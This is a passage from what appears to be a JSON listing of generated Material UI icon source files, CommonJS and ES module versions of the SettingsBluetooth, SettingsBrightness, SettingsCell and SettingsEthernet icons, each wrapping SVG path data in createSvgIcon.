    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 24h2v-2h-2zm-4 0h2v-2H7zm8 0h2v-2h-2zm2.71-18.29L12 0h-1v7.59L6.41 3 5 4.41 10.59 10 5 15.59 6.41 17 11 12.41V20h1l5.71-5.71-4.3-4.29zM13 3.83l1.88 1.88L13 7.59zm1.88 10.46L13 16.17v-3.76z\"\n}), 'SettingsBluetoothOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsBluetoothOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 24h2v-2h-2zm-4 0h2v-2H7zm8 0h2v-2h-2zm2.71-18.29L12 0h-1v7.59L6.41 3 5 4.41 10.59 10 5 15.59 6.41 17 11 12.41V20h1l5.71-5.71-4.3-4.29zM13 3.83l1.88 1.88L13 7.59zm1.88 10.46L13 16.17v-3.76z\"\n}), 'SettingsBluetoothOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsBluetoothRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"23\",\n  r: \"1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"8\",\n  cy: \"23\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"16\",\n  cy: \"23\",\n  r: \"1\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.41 10 17 6.42c.39-.39.39-1.02 0-1.42L12.21.21c-.14-.14-.32-.21-.5-.21-.39 0-.71.32-.71.71v6.88L7.11 3.71a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41L10.59 10 5.7 14.89c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0L11 12.41v6.88c0 .39.32.71.71.71.19 0 .37-.07.5-.21L17 15c.39-.39.39-1.02 0-1.42zM13 3.83l1.88 1.88L13 7.59zm0 12.34v-3.76l1.88 1.88z\"\n}, \"3\")], 'SettingsBluetoothRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsBluetoothRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"23\",\n  r: \"1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"8\",\n  cy: \"23\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"16\",\n  cy: \"23\",\n  r: \"1\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.41 10 17 6.42c.39-.39.39-1.02 0-1.42L12.21.21c-.14-.14-.32-.21-.5-.21-.39 0-.71.32-.71.71v6.88L7.11 3.71a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41L10.59 10 5.7 14.89c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0L11 12.41v6.88c0 .39.32.71.71.71.19 0 .37-.07.5-.21L17 15c.39-.39.39-1.02 0-1.42zM13 3.83l1.88 1.88L13 7.59zm0 12.34v-3.76l1.88 1.88z\"\n}, \"3\")], 'SettingsBluetoothRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsBluetoothSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 24h2v-2h-2zm-4 0h2v-2H7zm8 0h2v-2h-2zm2.71-18.29L12 0h-1v7.59L6.41 3 5 4.41 10.59 10 5 15.59 6.41 17 11 12.41V20h1l5.71-5.71-4.3-4.29zM13 3.83l1.88 1.88L13 7.59zm1.88 10.46L13 16.17v-3.76z\"\n}), 'SettingsBluetoothSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsBluetoothSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 24h2v-2h-2zm-4 0h2v-2H7zm8 0h2v-2h-2zm2.71-18.29L12 0h-1v7.59L6.41 3 5 4.41 10.59 10 5 15.59 6.41 17 11 12.41V20h1l5.71-5.71-4.3-4.29zM13 3.83l1.88 1.88L13 7.59zm1.88 10.46L13 16.17v-3.76z\"\n}), 'SettingsBluetoothSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsBluetoothTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 24h2v-2h-2zm-4 0h2v-2H7zm8 0h2v-2h-2zm2.71-18.29L12 0h-1v7.59L6.41 3 5 4.41 10.59 10 5 15.59 6.41 17 11 12.41V20h1l5.71-5.71-4.3-4.29zM13 3.83l1.88 1.88L13 7.59zm1.88 10.46L13 16.17v-3.76z\"\n}), 'SettingsBluetoothTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsBluetoothTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 24h2v-2h-2zm-4 0h2v-2H7zm8 0h2v-2h-2zm2.71-18.29L12 0h-1v7.59L6.41 3 5 4.41 10.59 10 5 15.59 6.41 17 11 12.41V20h1l5.71-5.71-4.3-4.29zM13 3.83l1.88 1.88L13 7.59zm1.88 10.46L13 16.17v-3.76z\"\n}), 'SettingsBluetoothTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsBrightness.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16.01H3V4.99h18zM8 16h2.5l1.5 1.5 1.5-1.5H16v-2.5l1.5-1.5-1.5-1.5V8h-2.5L12 6.5 10.5 8H8v2.5L6.5 12 8 13.5zm4-7c1.66 0 3 1.34 3 3s-1.34 3-3 3z\"\n}), 'SettingsBrightness');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsBrightness.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16.01H3V4.99h18zM8 16h2.5l1.5 1.5 1.5-1.5H16v-2.5l1.5-1.5-1.5-1.5V8h-2.5L12 6.5 10.5 8H8v2.5L6.5 12 8 13.5zm4-7c1.66 0 3 1.34 3 3s-1.34 3-3 3z\"\n}), 'SettingsBrightness');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsBrightnessOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16.01H3V4.99h18zM8 16h2.5l1.5 1.5 1.5-1.5H16v-2.5l1.5-1.5-1.5-1.5V8h-2.5L12 6.5 10.5 8H8v2.5L6.5 12 8 13.5zm4-7c1.66 0 3 1.34 3 3s-1.34 3-3 3z\"\n}), 'SettingsBrightnessOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsBrightnessOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16.01H3V4.99h18zM8 16h2.5l1.5 1.5 1.5-1.5H16v-2.5l1.5-1.5-1.5-1.5V8h-2.5L12 6.5 10.5 8H8v2.5L6.5 12 8 13.5zm4-7c1.66 0 3 1.34 3 3s-1.34 3-3 3z\"\n}), 'SettingsBrightnessOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsBrightnessRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m-2.85 8.35L16 13.5v2c0 .28-.22.5-.5.5h-2l-1.15 1.15c-.2.2-.51.2-.71 0L10.5 16h-2c-.28 0-.5-.22-.5-.5v-2l-1.15-1.15c-.2-.2-.2-.51 0-.71L8 10.5v-2c0-.28.22-.5.5-.5h2l1.15-1.15c.2-.2.51-.2.71 0L13.5 8h2c.28 0 .5.22.5.5v2l1.15 1.15c.19.19.19.51 0 .7M12 9v6c1.66 0 3-1.34 3-3s-1.34-3-3-3\"\n}), 'SettingsBrightnessRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsBrightnessRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m-2.85 8.35L16 13.5v2c0 .28-.22.5-.5.5h-2l-1.15 1.15c-.2.2-.51.2-.71 0L10.5 16h-2c-.28 0-.5-.22-.5-.5v-2l-1.15-1.15c-.2-.2-.2-.51 0-.71L8 10.5v-2c0-.28.22-.5.5-.5h2l1.15-1.15c.2-.2.51-.2.71 0L13.5 8h2c.28 0 .5.22.5.5v2l1.15 1.15c.19.19.19.51 0 .7M12 9v6c1.66 0 3-1.34 3-3s-1.34-3-3-3\"\n}), 'SettingsBrightnessRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsBrightnessSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 3H1v18h22zm-2 16.01H3V4.99h18zM8 16h2.5l1.5 1.5 1.5-1.5H16v-2.5l1.5-1.5-1.5-1.5V8h-2.5L12 6.5 10.5 8H8v2.5L6.5 12 8 13.5zm4-7c1.66 0 3 1.34 3 3s-1.34 3-3 3z\"\n}), 'SettingsBrightnessSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsBrightnessSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 3H1v18h22zm-2 16.01H3V4.99h18zM8 16h2.5l1.5 1.5 1.5-1.5H16v-2.5l1.5-1.5-1.5-1.5V8h-2.5L12 6.5 10.5 8H8v2.5L6.5 12 8 13.5zm4-7c1.66 0 3 1.34 3 3s-1.34 3-3 3z\"\n}), 'SettingsBrightnessSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsBrightnessTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 19.01h18V4.99H3zm5-8.51V8h2.5L12 6.5 13.5 8H16v2.5l1.5 1.5-1.5 1.5V16h-2.5L12 17.5 10.5 16H8v-2.5L6.5 12z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 16h2.5l1.5 1.5 1.5-1.5H16v-2.5l1.5-1.5-1.5-1.5V8h-2.5L12 6.5 10.5 8H8v2.5L6.5 12 8 13.5zm4-7c1.66 0 3 1.34 3 3s-1.34 3-3 3zm9-6H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16.01H3V4.99h18z\"\n}, \"1\")], 'SettingsBrightnessTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsBrightnessTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 19.01h18V4.99H3zm5-8.51V8h2.5L12 6.5 13.5 8H16v2.5l1.5 1.5-1.5 1.5V16h-2.5L12 17.5 10.5 16H8v-2.5L6.5 12z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 16h2.5l1.5 1.5 1.5-1.5H16v-2.5l1.5-1.5-1.5-1.5V8h-2.5L12 6.5 10.5 8H8v2.5L6.5 12 8 13.5zm4-7c1.66 0 3 1.34 3 3s-1.34 3-3 3zm9-6H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16.01H3V4.99h18z\"\n}, \"1\")], 'SettingsBrightnessTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsCell.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 24h2v-2H7zm4 0h2v-2h-2zm4 0h2v-2h-2zM16 .01 8 0C6.9 0 6 .9 6 2v16c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V2c0-1.1-.9-1.99-2-1.99M16 16H8V4h8z\"\n}), 'SettingsCell');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsCell.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 24h2v-2H7zm4 0h2v-2h-2zm4 0h2v-2h-2zM16 .01 8 0C6.9 0 6 .9 6 2v16c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V2c0-1.1-.9-1.99-2-1.99M16 16H8V4h8z\"\n}), 'SettingsCell');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsCellOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 22h2v2H7zm4 0h2v2h-2zm4 0h2v2h-2zM16 .01 8 0C6.9 0 6 .9 6 2v16c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V2c0-1.1-.9-1.99-2-1.99M16 18H8v-1h8zm0-3H8V5h8zm0-12H8V2h8z\"\n}), 'SettingsCellOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsCellOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 22h2v2H7zm4 0h2v2h-2zm4 0h2v2h-2zM16 .01 8 0C6.9 0 6 .9 6 2v16c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V2c0-1.1-.9-1.99-2-1.99M16 18H8v-1h8zm0-3H8V5h8zm0-12H8V2h8z\"\n}), 'SettingsCellOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsCellRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 24c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m4 0c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m4 0c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1M16 .01 8 0C6.9 0 6 .9 6 2v16c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V2c0-1.1-.9-1.99-2-1.99M16 16H8V4h8z\"\n}), 'SettingsCellRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsCellRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 24c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m4 0c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m4 0c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1M16 .01 8 0C6.9 0 6 .9 6 2v16c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V2c0-1.1-.9-1.99-2-1.99M16 16H8V4h8z\"\n}), 'SettingsCellRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsCellSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 24h2v-2H7zm4 0h2v-2h-2zm4 0h2v-2h-2zM6 0v20h12V0zm10 16H8V4h8z\"\n}), 'SettingsCellSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsCellSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 24h2v-2H7zm4 0h2v-2h-2zm4 0h2v-2h-2zM6 0v20h12V0zm10 16H8V4h8z\"\n}), 'SettingsCellSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsCellTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 17h8v1H8zM8 2h8v1H8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 22h2v2H7zm4 0h2v2h-2zm4 0h2v2h-2zM16 .01 8 0C6.9 0 6 .9 6 2v16c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V2c0-1.1-.9-1.99-2-1.99M16 18H8v-1h8zm0-3H8V5h8zm0-12H8V2h8z\"\n}, \"1\")], 'SettingsCellTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsCellTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 17h8v1H8zM8 2h8v1H8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 22h2v2H7zm4 0h2v2h-2zm4 0h2v2h-2zM16 .01 8 0C6.9 0 6 .9 6 2v16c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V2c0-1.1-.9-1.99-2-1.99M16 18H8v-1h8zm0-3H8V5h8zm0-12H8V2h8z\"\n}, \"1\")], 'SettingsCellTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsEthernet.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.77 6.76 6.23 5.48.82 12l5.41 6.52 1.54-1.28L3.42 12zM7 13h2v-2H7zm10-2h-2v2h2zm-6 2h2v-2h-2zm6.77-7.52-1.54 1.28L20.58 12l-4.35 5.24 1.54 1.28L23.18 12z\"\n}), 'SettingsEthernet');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsEthernet.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.77 6.76 6.23 5.48.82 12l5.41 6.52 1.54-1.28L3.42 12zM7 13h2v-2H7zm10-2h-2v2h2zm-6 2h2v-2h-2zm6.77-7.52-1.54 1.28L20.58 12l-4.35 5.24 1.54 1.28L23.18 12z\"\n}), 'SettingsEthernet');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsEthernetOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.77 6.76 6.23 5.48.82 12l5.41 6.52 1.54-1.28L3.42 12zM7 13h2v-2H7zm10-2h-2v2h2zm-6 2h2v-2h-2zm6.77-7.52-1.54 1.28L20.58 12l-4.35 5.24 1.54 1.28L23.18 12z\"\n}), 'SettingsEthernetOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsEthernetOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.77 6.76 6.23 5.48.82 12l5.41 6.52 1.54-1.28L3.42 12zM7 13h2v-2H7zm10-2h-2v2h2zm-6 2h2v-2h-2zm6.77-7.52-1.54 1.28L20.58 12l-4.35 5.24 1.54 1.28L23.18 12z\"\n}), 'SettingsEthernetOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsEthernetRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.71 6.71a.996.996 0 0 0-1.41 0L1.71 11.3c-.39.39-.39 1.02 0 1.41L6.3 17.3c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L3.83 12l3.88-3.88c.38-.39.38-1.03 0-1.41m8.58 0c-.39.39-.39 1.02 0 1.41L20.17 12l-3.88 3.88c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0l4.59-4.59c.39-.39.39-1.02 0-1.41L17.7 6.7c-.38-.38-1.02-.38-1.41.01M8 13c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m4 0c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m4-2c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1\"\n}), 'SettingsEthernetRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsEthernetRounded.mjs",
